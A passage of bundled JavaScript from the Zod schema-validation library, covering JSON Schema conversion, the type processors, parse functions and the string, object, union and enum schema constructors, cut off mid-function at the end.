in Zod.\");\n const flattenRef = (zodSchema) => {\n const seen = ctx.seen.get(zodSchema);\n if (seen.ref === null) return;\n const schema = seen.def ?? seen.schema;\n const _cached = { ...schema };\n const ref = seen.ref;\n seen.ref = null;\n if (ref) {\n flattenRef(ref);\n const refSeen = ctx.seen.get(ref);\n const refSchema = refSeen.schema;\n if (refSchema.$ref && (ctx.target === \"draft-07\" || ctx.target === \"draft-04\" || ctx.target === \"openapi-3.0\")) {\n schema.allOf = schema.allOf ?? [];\n schema.allOf.push(refSchema);\n } else Object.assign(schema, refSchema);\n Object.assign(schema, _cached);\n if (zodSchema._zod.parent === ref) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (!(key in _cached)) delete schema[key];\n }\n if (refSchema.$ref && refSeen.def) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (key in refSeen.def && JSON.stringify(schema[key]) === JSON.stringify(refSeen.def[key])) delete schema[key];\n }\n }\n const parent = zodSchema._zod.parent;\n if (parent && parent !== ref) {\n flattenRef(parent);\n const parentSeen = ctx.seen.get(parent);\n if (parentSeen?.schema.$ref) {\n schema.$ref = parentSeen.schema.$ref;\n if (parentSeen.def) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (key in parentSeen.def && JSON.stringify(schema[key]) === JSON.stringify(parentSeen.def[key])) delete schema[key];\n }\n }\n }\n ctx.override({\n zodSchema,\n jsonSchema: schema,\n path: seen.path ?? []\n });\n };\n for (const entry of [...ctx.seen.entries()].reverse()) flattenRef(entry[0]);\n const result = {};\n if (ctx.target === \"draft-2020-12\") result.$schema = \"https://json-schema.org/draft/2020-12/schema\";\n else if (ctx.target === \"draft-07\") result.$schema = \"http://json-schema.org/draft-07/schema#\";\n else if (ctx.target === \"draft-04\") result.$schema = \"http://json-schema.org/draft-04/schema#\";\n else if (ctx.target === \"openapi-3.0\") {}\n if (ctx.external?.uri) {\n const id = ctx.external.registry.get(schema)?.id;\n if (!id) throw new Error(\"Schema is missing an `id` property\");\n result.$id = ctx.external.uri(id);\n }\n Object.assign(result, root.def ?? root.schema);\n const rootMetaId = ctx.metadataRegistry.get(schema)?.id;\n if (rootMetaId !== void 0 && result.id === rootMetaId) delete result.id;\n const defs = ctx.external?.defs ?? {};\n for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (seen.def && seen.defId) {\n if (seen.def.id === seen.defId) delete seen.def.id;\n defs[seen.defId] = seen.def;\n }\n }\n if (ctx.external) {} else if (Object.keys(defs).length > 0) if (ctx.target === \"draft-2020-12\") result.$defs = defs;\n else result.definitions = defs;\n try {\n const finalized = JSON.parse(JSON.stringify(result));\n Object.defineProperty(finalized, \"~standard\", {\n value: {\n ...schema[\"~standard\"],\n jsonSchema: {\n input: createStandardJSONSchemaMethod(schema, \"input\", ctx.processors),\n output: createStandardJSONSchemaMethod(schema, \"output\", ctx.processors)\n }\n },\n enumerable: false,\n writable: false\n });\n return finalized;\n } catch (_err) {\n throw new Error(\"Error converting schema to JSON.\");\n }\n}\nfunction isTransforming(_schema, _ctx) {\n const ctx = _ctx ?? { seen: /* @__PURE__ */ new Set() };\n if (ctx.seen.has(_schema)) return false;\n ctx.seen.add(_schema);\n const def = _schema._zod.def;\n if (def.type === \"transform\") return true;\n if (def.type === \"array\") return isTransforming(def.element, ctx);\n if (def.type === \"set\") return isTransforming(def.valueType, ctx);\n if (def.type === \"lazy\") return isTransforming(def.getter(), ctx);\n if (def.type === \"promise\" || def.type === \"optional\" || def.type === \"nonoptional\" || def.type === \"nullable\" || def.type === \"readonly\" || def.type === \"default\" || def.type === \"prefault\") return isTransforming(def.innerType, ctx);\n if (def.type === \"intersection\") return isTransforming(def.left, ctx) || isTransforming(def.right, ctx);\n if (def.type === \"record\" || def.type === \"map\") return isTransforming(def.keyType, ctx) || isTransforming(def.valueType, ctx);\n if (def.type === \"pipe\") {\n if (_schema._zod.traits.has(\"$ZodCodec\")) return true;\n return isTransforming(def.in, ctx) || isTransforming(def.out, ctx);\n }\n if (def.type === \"object\") {\n for (const key in def.shape) if (isTransforming(def.shape[key], ctx)) return true;\n return false;\n }\n if (def.type === \"union\") {\n for (const option of def.options) if (isTransforming(option, ctx)) return true;\n return false;\n }\n if (def.type === \"tuple\") {\n for (const item of def.items) if (isTransforming(item, ctx)) return true;\n if (def.rest && isTransforming(def.rest, ctx)) return true;\n return false;\n }\n return false;\n}\n/**\n* Creates a toJSONSchema method for a schema instance.\n* This encapsulates the logic of initializing context, processing, extracting defs, and finalizing.\n*/\nconst createToJSONSchemaMethod = (schema, processors = {}) => (params) => {\n const ctx = initializeContext({\n ...params,\n processors\n });\n process$1(schema, ctx);\n extractDefs(ctx, schema);\n return finalize(ctx, schema);\n};\nconst createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => {\n const { libraryOptions, target } = params ?? {};\n const ctx = initializeContext({\n ...libraryOptions ?? {},\n target,\n io,\n processors\n });\n process$1(schema, ctx);\n extractDefs(ctx, schema);\n return finalize(ctx, schema);\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-processors.js\nconst formatMap = {\n guid: \"uuid\",\n url: \"uri\",\n datetime: \"date-time\",\n json_string: \"json-string\",\n regex: \"\"\n};\nconst stringProcessor = (schema, ctx, _json, _params) => {\n const json = _json;\n json.type = \"string\";\n const { minimum, maximum, format, patterns, contentEncoding } = schema._zod.bag;\n if (typeof minimum === \"number\") json.minLength = minimum;\n if (typeof maximum === \"number\") json.maxLength = maximum;\n if (format) {\n json.format = formatMap[format] ?? format;\n if (json.format === \"\") delete json.format;\n if (format === \"time\") delete json.format;\n }\n if (contentEncoding) json.contentEncoding = contentEncoding;\n if (patterns && patterns.size > 0) {\n const regexes = [...patterns];\n if (regexes.length === 1) json.pattern = regexes[0].source;\n else if (regexes.length > 1) json.allOf = [...regexes.map((regex) => ({\n ...ctx.target === \"draft-07\" || ctx.target === \"draft-04\" || ctx.target === \"openapi-3.0\" ? { type: \"string\" } : {},\n pattern: regex.source\n }))];\n }\n};\nconst neverProcessor = (_schema, _ctx, json, _params) => {\n json.not = {};\n};\nconst unknownProcessor = (_schema, _ctx, _json, _params) => {};\nconst enumProcessor = (schema, _ctx, json, _params) => {\n const def = schema._zod.def;\n const values = getEnumValues(def.entries);\n if (values.every((v) => typeof v === \"number\")) json.type = \"number\";\n if (values.every((v) => typeof v === \"string\")) json.type = \"string\";\n json.enum = values;\n};\nconst customProcessor = (_schema, ctx, _json, _params) => {\n if (ctx.unrepresentable === \"throw\") throw new Error(\"Custom types cannot be represented in JSON Schema\");\n};\nconst transformProcessor = (_schema, ctx, _json, _params) => {\n if (ctx.unrepresentable === \"throw\") throw new Error(\"Transforms cannot be represented in JSON Schema\");\n};\nconst arrayProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n const { minimum, maximum } = schema._zod.bag;\n if (typeof minimum === \"number\") json.minItems = minimum;\n if (typeof maximum === \"number\") json.maxItems = maximum;\n json.type = \"array\";\n json.items = process$1(def.element, ctx, {\n ...params,\n path: [...params.path, \"items\"]\n });\n};\nconst objectProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n json.type = \"object\";\n json.properties = {};\n const shape = def.shape;\n for (const key in shape) json.properties[key] = process$1(shape[key], ctx, {\n ...params,\n path: [\n ...params.path,\n \"properties\",\n key\n ]\n });\n const allKeys = new Set(Object.keys(shape));\n const requiredKeys = new Set([...allKeys].filter((key) => {\n const v = def.shape[key]._zod;\n if (ctx.io === \"input\") return v.optin === void 0;\n else return v.optout === void 0;\n }));\n if (requiredKeys.size > 0) json.required = Array.from(requiredKeys);\n if (def.catchall?._zod.def.type === \"never\") json.additionalProperties = false;\n else if (!def.catchall) {\n if (ctx.io === \"output\") json.additionalProperties = false;\n } else if (def.catchall) json.additionalProperties = process$1(def.catchall, ctx, {\n ...params,\n path: [...params.path, \"additionalProperties\"]\n });\n};\nconst unionProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const isExclusive = def.inclusive === false;\n const options = def.options.map((x, i) => process$1(x, ctx, {\n ...params,\n path: [\n ...params.path,\n isExclusive ? \"oneOf\" : \"anyOf\",\n i\n ]\n }));\n if (isExclusive) json.oneOf = options;\n else json.anyOf = options;\n};\nconst intersectionProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const a = process$1(def.left, ctx, {\n ...params,\n path: [\n ...params.path,\n \"allOf\",\n 0\n ]\n });\n const b = process$1(def.right, ctx, {\n ...params,\n path: [\n ...params.path,\n \"allOf\",\n 1\n ]\n });\n const isSimpleIntersection = (val) => \"allOf\" in val && Object.keys(val).length === 1;\n json.allOf = [...isSimpleIntersection(a) ? a.allOf : [a], ...isSimpleIntersection(b) ? b.allOf : [b]];\n};\nconst recordProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n json.type = \"object\";\n const keyType = def.keyType;\n const patterns = keyType._zod.bag?.patterns;\n if (def.mode === \"loose\" && patterns && patterns.size > 0) {\n const valueSchema = process$1(def.valueType, ctx, {\n ...params,\n path: [\n ...params.path,\n \"patternProperties\",\n \"*\"\n ]\n });\n json.patternProperties = {};\n for (const pattern of patterns) json.patternProperties[pattern.source] = valueSchema;\n } else {\n if (ctx.target === \"draft-07\" || ctx.target === \"draft-2020-12\") json.propertyNames = process$1(def.keyType, ctx, {\n ...params,\n path: [...params.path, \"propertyNames\"]\n });\n json.additionalProperties = process$1(def.valueType, ctx, {\n ...params,\n path: [...params.path, \"additionalProperties\"]\n });\n }\n const keyValues = keyType._zod.values;\n if (keyValues) {\n const validKeyValues = [...keyValues].filter((v) => typeof v === \"string\" || typeof v === \"number\");\n if (validKeyValues.length > 0) json.required = validKeyValues;\n }\n};\nconst nullableProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const inner = process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n if (ctx.target === \"openapi-3.0\") {\n seen.ref = def.innerType;\n json.nullable = true;\n } else json.anyOf = [inner, { type: \"null\" }];\n};\nconst nonoptionalProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n};\nconst defaultProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n json.default = JSON.parse(JSON.stringify(def.defaultValue));\n};\nconst prefaultProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n if (ctx.io === \"input\") json._prefault = JSON.parse(JSON.stringify(def.defaultValue));\n};\nconst catchProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n let catchValue;\n try {\n catchValue = def.catchValue(void 0);\n } catch {\n throw new Error(\"Dynamic catch values are not supported in JSON Schema\");\n }\n json.default = catchValue;\n};\nconst pipeProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n const inIsTransform = def.in._zod.traits.has(\"$ZodTransform\");\n const innerType = ctx.io === \"input\" ? inIsTransform ? def.out : def.in : def.out;\n process$1(innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = innerType;\n};\nconst readonlyProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n json.readOnly = true;\n};\nconst optionalProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/iso.js\nconst ZodISODateTime = /*@__PURE__*/ $constructor(\"ZodISODateTime\", (inst, def) => {\n $ZodISODateTime.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction datetime(params) {\n return _isoDateTime(ZodISODateTime, params);\n}\nconst ZodISODate = /*@__PURE__*/ $constructor(\"ZodISODate\", (inst, def) => {\n $ZodISODate.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction date(params) {\n return _isoDate(ZodISODate, params);\n}\nconst ZodISOTime = /*@__PURE__*/ $constructor(\"ZodISOTime\", (inst, def) => {\n $ZodISOTime.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction time(params) {\n return _isoTime(ZodISOTime, params);\n}\nconst ZodISODuration = /*@__PURE__*/ $constructor(\"ZodISODuration\", (inst, def) => {\n $ZodISODuration.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction duration(params) {\n return _isoDuration(ZodISODuration, params);\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/errors.js\nconst initializer = (inst, issues) => {\n $ZodError.init(inst, issues);\n inst.name = \"ZodError\";\n Object.defineProperties(inst, {\n format: { value: (mapper) => formatError(inst, mapper) },\n flatten: { value: (mapper) => flattenError(inst, mapper) },\n addIssue: { value: (issue) => {\n inst.issues.push(issue);\n inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2);\n } },\n addIssues: { value: (issues) => {\n inst.issues.push(...issues);\n inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2);\n } },\n isEmpty: { get() {\n return inst.issues.length === 0;\n } }\n });\n};\nconst ZodRealError = /*@__PURE__*/ $constructor(\"ZodError\", initializer, { Parent: Error });\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/parse.js\nconst parse = /* @__PURE__ */ _parse(ZodRealError);\nconst parseAsync = /* @__PURE__ */ _parseAsync(ZodRealError);\nconst safeParse = /* @__PURE__ */ _safeParse(ZodRealError);\nconst safeParseAsync = /* @__PURE__ */ _safeParseAsync(ZodRealError);\nconst encode = /* @__PURE__ */ _encode(ZodRealError);\nconst decode = /* @__PURE__ */ _decode(ZodRealError);\nconst encodeAsync = /* @__PURE__ */ _encodeAsync(ZodRealError);\nconst decodeAsync = /* @__PURE__ */ _decodeAsync(ZodRealError);\nconst safeEncode = /* @__PURE__ */ _safeEncode(ZodRealError);\nconst safeDecode = /* @__PURE__ */ _safeDecode(ZodRealError);\nconst safeEncodeAsync = /* @__PURE__ */ _safeEncodeAsync(ZodRealError);\nconst safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync(ZodRealError);\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js\nconst _installedGroups = /* @__PURE__ */ new WeakMap();\nfunction _installLazyMethods(inst, group, methods) {\n const proto = Object.getPrototypeOf(inst);\n let installed = _installedGroups.get(proto);\n if (!installed) {\n installed = /* @__PURE__ */ new Set();\n _installedGroups.set(proto, installed);\n }\n if (installed.has(group)) return;\n installed.add(group);\n for (const key in methods) {\n const fn = methods[key];\n Object.defineProperty(proto, key, {\n configurable: true,\n enumerable: false,\n get() {\n const bound = fn.bind(this);\n Object.defineProperty(this, key, {\n configurable: true,\n writable: true,\n enumerable: true,\n value: bound\n });\n return bound;\n },\n set(v) {\n Object.defineProperty(this, key, {\n configurable: true,\n writable: true,\n enumerable: true,\n value: v\n });\n }\n });\n }\n}\nconst ZodType = /*@__PURE__*/ $constructor(\"ZodType\", (inst, def) => {\n $ZodType.init(inst, def);\n Object.assign(inst[\"~standard\"], { jsonSchema: {\n input: createStandardJSONSchemaMethod(inst, \"input\"),\n output: createStandardJSONSchemaMethod(inst, \"output\")\n } });\n inst.toJSONSchema = createToJSONSchemaMethod(inst, {});\n inst.def = def;\n inst.type = def.type;\n Object.defineProperty(inst, \"_def\", { value: def });\n inst.parse = (data, params) => parse(inst, data, params, { callee: inst.parse });\n inst.safeParse = (data, params) => safeParse(inst, data, params);\n inst.parseAsync = async (data, params) => parseAsync(inst, data, params, { callee: inst.parseAsync });\n inst.safeParseAsync = async (data, params) => safeParseAsync(inst, data, params);\n inst.spa = inst.safeParseAsync;\n inst.encode = (data, params) => encode(inst, data, params);\n inst.decode = (data, params) => decode(inst, data, params);\n inst.encodeAsync = async (data, params) => encodeAsync(inst, data, params);\n inst.decodeAsync = async (data, params) => decodeAsync(inst, data, params);\n inst.safeEncode = (data, params) => safeEncode(inst, data, params);\n inst.safeDecode = (data, params) => safeDecode(inst, data, params);\n inst.safeEncodeAsync = async (data, params) => safeEncodeAsync(inst, data, params);\n inst.safeDecodeAsync = async (data, params) => safeDecodeAsync(inst, data, params);\n _installLazyMethods(inst, \"ZodType\", {\n check(...chks) {\n const def = this.def;\n return this.clone(mergeDefs(def, { checks: [...def.checks ?? [], ...chks.map((ch) => typeof ch === \"function\" ? { _zod: {\n check: ch,\n def: { check: \"custom\" },\n onattach: []\n } } : ch)] }), { parent: true });\n },\n with(...chks) {\n return this.check(...chks);\n },\n clone(def, params) {\n return clone(this, def, params);\n },\n brand() {\n return this;\n },\n register(reg, meta) {\n reg.add(this, meta);\n return this;\n },\n refine(check, params) {\n return this.check(refine(check, params));\n },\n superRefine(refinement, params) {\n return this.check(superRefine(refinement, params));\n },\n overwrite(fn) {\n return this.check(_overwrite(fn));\n },\n optional() {\n return optional(this);\n },\n exactOptional() {\n return exactOptional(this);\n },\n nullable() {\n return nullable(this);\n },\n nullish() {\n return optional(nullable(this));\n },\n nonoptional(params) {\n return nonoptional(this, params);\n },\n array() {\n return array(this);\n },\n or(arg) {\n return union([this, arg]);\n },\n and(arg) {\n return intersection(this, arg);\n },\n transform(tx) {\n return pipe(this, transform(tx));\n },\n default(d) {\n return _default(this, d);\n },\n prefault(d) {\n return prefault(this, d);\n },\n catch(params) {\n return _catch(this, params);\n },\n pipe(target) {\n return pipe(this, target);\n },\n readonly() {\n return readonly(this);\n },\n describe(description) {\n const cl = this.clone();\n globalRegistry.add(cl, { description });\n return cl;\n },\n meta(...args) {\n if (args.length === 0) return globalRegistry.get(this);\n const cl = this.clone();\n globalRegistry.add(cl, args[0]);\n return cl;\n },\n isOptional() {\n return this.safeParse(void 0).success;\n },\n isNullable() {\n return this.safeParse(null).success;\n },\n apply(fn) {\n return fn(this);\n }\n });\n Object.defineProperty(inst, \"description\", {\n get() {\n return globalRegistry.get(inst)?.description;\n },\n configurable: true\n });\n return inst;\n});\n/** @internal */\nconst _ZodString = /*@__PURE__*/ $constructor(\"_ZodString\", (inst, def) => {\n $ZodString.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => stringProcessor(inst, ctx, json, params);\n const bag = inst._zod.bag;\n inst.format = bag.format ?? null;\n inst.minLength = bag.minimum ?? null;\n inst.maxLength = bag.maximum ?? null;\n _installLazyMethods(inst, \"_ZodString\", {\n regex(...args) {\n return this.check(_regex(...args));\n },\n includes(...args) {\n return this.check(_includes(...args));\n },\n startsWith(...args) {\n return this.check(_startsWith(...args));\n },\n endsWith(...args) {\n return this.check(_endsWith(...args));\n },\n min(...args) {\n return this.check(_minLength(...args));\n },\n max(...args) {\n return this.check(_maxLength(...args));\n },\n length(...args) {\n return this.check(_length(...args));\n },\n nonempty(...args) {\n return this.check(_minLength(1, ...args));\n },\n lowercase(params) {\n return this.check(_lowercase(params));\n },\n uppercase(params) {\n return this.check(_uppercase(params));\n },\n trim() {\n return this.check(_trim());\n },\n normalize(...args) {\n return this.check(_normalize(...args));\n },\n toLowerCase() {\n return this.check(_toLowerCase());\n },\n toUpperCase() {\n return this.check(_toUpperCase());\n },\n slugify() {\n return this.check(_slugify());\n }\n });\n});\nconst ZodString = /*@__PURE__*/ $constructor(\"ZodString\", (inst, def) => {\n $ZodString.init(inst, def);\n _ZodString.init(inst, def);\n inst.email = (params) => inst.check(_email(ZodEmail, params));\n inst.url = (params) => inst.check(_url(ZodURL, params));\n inst.jwt = (params) => inst.check(_jwt(ZodJWT, params));\n inst.emoji = (params) => inst.check(_emoji(ZodEmoji, params));\n inst.guid = (params) => inst.check(_guid(ZodGUID, params));\n inst.uuid = (params) => inst.check(_uuid(ZodUUID, params));\n inst.uuidv4 = (params) => inst.check(_uuidv4(ZodUUID, params));\n inst.uuidv6 = (params) => inst.check(_uuidv6(ZodUUID, params));\n inst.uuidv7 = (params) => inst.check(_uuidv7(ZodUUID, params));\n inst.nanoid = (params) => inst.check(_nanoid(ZodNanoID, params));\n inst.guid = (params) => inst.check(_guid(ZodGUID, params));\n inst.cuid = (params) => inst.check(_cuid(ZodCUID, params));\n inst.cuid2 = (params) => inst.check(_cuid2(ZodCUID2, params));\n inst.ulid = (params) => inst.check(_ulid(ZodULID, params));\n inst.base64 = (params) => inst.check(_base64(ZodBase64, params));\n inst.base64url = (params) => inst.check(_base64url(ZodBase64URL, params));\n inst.xid = (params) => inst.check(_xid(ZodXID, params));\n inst.ksuid = (params) => inst.check(_ksuid(ZodKSUID, params));\n inst.ipv4 = (params) => inst.check(_ipv4(ZodIPv4, params));\n inst.ipv6 = (params) => inst.check(_ipv6(ZodIPv6, params));\n inst.cidrv4 = (params) => inst.check(_cidrv4(ZodCIDRv4, params));\n inst.cidrv6 = (params) => inst.check(_cidrv6(ZodCIDRv6, params));\n inst.e164 = (params) => inst.check(_e164(ZodE164, params));\n inst.datetime = (params) => inst.check(datetime(params));\n inst.date = (params) => inst.check(date(params));\n inst.time = (params) => inst.check(time(params));\n inst.duration = (params) => inst.check(duration(params));\n});\nfunction string(params) {\n return _string(ZodString, params);\n}\nconst ZodStringFormat = /*@__PURE__*/ $constructor(\"ZodStringFormat\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n _ZodString.init(inst, def);\n});\nconst ZodEmail = /*@__PURE__*/ $constructor(\"ZodEmail\", (inst, def) => {\n $ZodEmail.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodGUID = /*@__PURE__*/ $constructor(\"ZodGUID\", (inst, def) => {\n $ZodGUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodUUID = /*@__PURE__*/ $constructor(\"ZodUUID\", (inst, def) => {\n $ZodUUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodURL = /*@__PURE__*/ $constructor(\"ZodURL\", (inst, def) => {\n $ZodURL.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodEmoji = /*@__PURE__*/ $constructor(\"ZodEmoji\", (inst, def) => {\n $ZodEmoji.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodNanoID = /*@__PURE__*/ $constructor(\"ZodNanoID\", (inst, def) => {\n $ZodNanoID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link ZodCUID2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst ZodCUID = /*@__PURE__*/ $constructor(\"ZodCUID\", (inst, def) => {\n $ZodCUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCUID2 = /*@__PURE__*/ $constructor(\"ZodCUID2\", (inst, def) => {\n $ZodCUID2.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodULID = /*@__PURE__*/ $constructor(\"ZodULID\", (inst, def) => {\n $ZodULID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodXID = /*@__PURE__*/ $constructor(\"ZodXID\", (inst, def) => {\n $ZodXID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodKSUID = /*@__PURE__*/ $constructor(\"ZodKSUID\", (inst, def) => {\n $ZodKSUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodIPv4 = /*@__PURE__*/ $constructor(\"ZodIPv4\", (inst, def) => {\n $ZodIPv4.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodIPv6 = /*@__PURE__*/ $constructor(\"ZodIPv6\", (inst, def) => {\n $ZodIPv6.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCIDRv4 = /*@__PURE__*/ $constructor(\"ZodCIDRv4\", (inst, def) => {\n $ZodCIDRv4.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCIDRv6 = /*@__PURE__*/ $constructor(\"ZodCIDRv6\", (inst, def) => {\n $ZodCIDRv6.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodBase64 = /*@__PURE__*/ $constructor(\"ZodBase64\", (inst, def) => {\n $ZodBase64.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodBase64URL = /*@__PURE__*/ $constructor(\"ZodBase64URL\", (inst, def) => {\n $ZodBase64URL.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodE164 = /*@__PURE__*/ $constructor(\"ZodE164\", (inst, def) => {\n $ZodE164.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodJWT = /*@__PURE__*/ $constructor(\"ZodJWT\", (inst, def) => {\n $ZodJWT.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodUnknown = /*@__PURE__*/ $constructor(\"ZodUnknown\", (inst, def) => {\n $ZodUnknown.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => unknownProcessor(inst, ctx, json, params);\n});\nfunction unknown() {\n return _unknown(ZodUnknown);\n}\nconst ZodNever = /*@__PURE__*/ $constructor(\"ZodNever\", (inst, def) => {\n $ZodNever.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => neverProcessor(inst, ctx, json, params);\n});\nfunction never(params) {\n return _never(ZodNever, params);\n}\nconst ZodArray = /*@__PURE__*/ $constructor(\"ZodArray\", (inst, def) => {\n $ZodArray.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => arrayProcessor(inst, ctx, json, params);\n inst.element = def.element;\n _installLazyMethods(inst, \"ZodArray\", {\n min(n, params) {\n return this.check(_minLength(n, params));\n },\n nonempty(params) {\n return this.check(_minLength(1, params));\n },\n max(n, params) {\n return this.check(_maxLength(n, params));\n },\n length(n, params) {\n return this.check(_length(n, params));\n },\n unwrap() {\n return this.element;\n }\n });\n});\nfunction array(element, params) {\n return _array(ZodArray, element, params);\n}\nconst ZodObject = /*@__PURE__*/ $constructor(\"ZodObject\", (inst, def) => {\n $ZodObjectJIT.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => objectProcessor(inst, ctx, json, params);\n defineLazy(inst, \"shape\", () => {\n return def.shape;\n });\n _installLazyMethods(inst, \"ZodObject\", {\n keyof() {\n return _enum(Object.keys(this._zod.def.shape));\n },\n catchall(catchall) {\n return this.clone({\n ...this._zod.def,\n catchall\n });\n },\n passthrough() {\n return this.clone({\n ...this._zod.def,\n catchall: unknown()\n });\n },\n loose() {\n return this.clone({\n ...this._zod.def,\n catchall: unknown()\n });\n },\n strict() {\n return this.clone({\n ...this._zod.def,\n catchall: never()\n });\n },\n strip() {\n return this.clone({\n ...this._zod.def,\n catchall: void 0\n });\n },\n extend(incoming) {\n return extend(this, incoming);\n },\n safeExtend(incoming) {\n return safeExtend(this, incoming);\n },\n merge(other) {\n return merge(this, other);\n },\n pick(mask) {\n return pick(this, mask);\n },\n omit(mask) {\n return omit(this, mask);\n },\n partial(...args) {\n return partial(ZodOptional, this, args[0]);\n },\n required(...args) {\n return required(ZodNonOptional, this, args[0]);\n }\n });\n});\nfunction object(shape, params) {\n const def = {\n type: \"object\",\n shape: shape ?? {},\n ...normalizeParams(params)\n };\n return new ZodObject(def);\n}\nconst ZodUnion = /*@__PURE__*/ $constructor(\"ZodUnion\", (inst, def) => {\n $ZodUnion.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => unionProcessor(inst, ctx, json, params);\n inst.options = def.options;\n});\nfunction union(options, params) {\n return new ZodUnion({\n type: \"union\",\n options,\n ...normalizeParams(params)\n });\n}\nconst ZodIntersection = /*@__PURE__*/ $constructor(\"ZodIntersection\", (inst, def) => {\n $ZodIntersection.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => intersectionProcessor(inst, ctx, json, params);\n});\nfunction intersection(left, right) {\n return new ZodIntersection({\n type: \"intersection\",\n left,\n right\n });\n}\nconst ZodRecord = /*@__PURE__*/ $constructor(\"ZodRecord\", (inst, def) => {\n $ZodRecord.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => recordProcessor(inst, ctx, json, params);\n inst.keyType = def.keyType;\n inst.valueType = def.valueType;\n});\nfunction record(keyType, valueType, params) {\n if (!valueType || !valueType._zod) return new ZodRecord({\n type: \"record\",\n keyType: string(),\n valueType: keyType,\n ...normalizeParams(valueType)\n });\n return new ZodRecord({\n type: \"record\",\n keyType,\n valueType,\n ...normalizeParams(params)\n });\n}\nconst ZodEnum = /*@__PURE__*/ $constructor(\"ZodEnum\", (inst, def) => {\n $ZodEnum.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => enumProcessor(inst, ctx, json, params);\n inst.enum = def.entries;\n inst.options = Object.values(def.entries);\n const keys = new Set(Object.keys(def.entries));\n inst.extract = (values, params) => {\n const newEntries = {};\n for (const value of values) if (keys.has(value)) newEntries[value] = def.entries[value];\n else throw new Error(`Key ${value} not found in enum`);\n return new ZodEnum({\n ...def,\n checks: [],\n ...normalizeParams(params),\n entries: newEntries\n });\n };\n 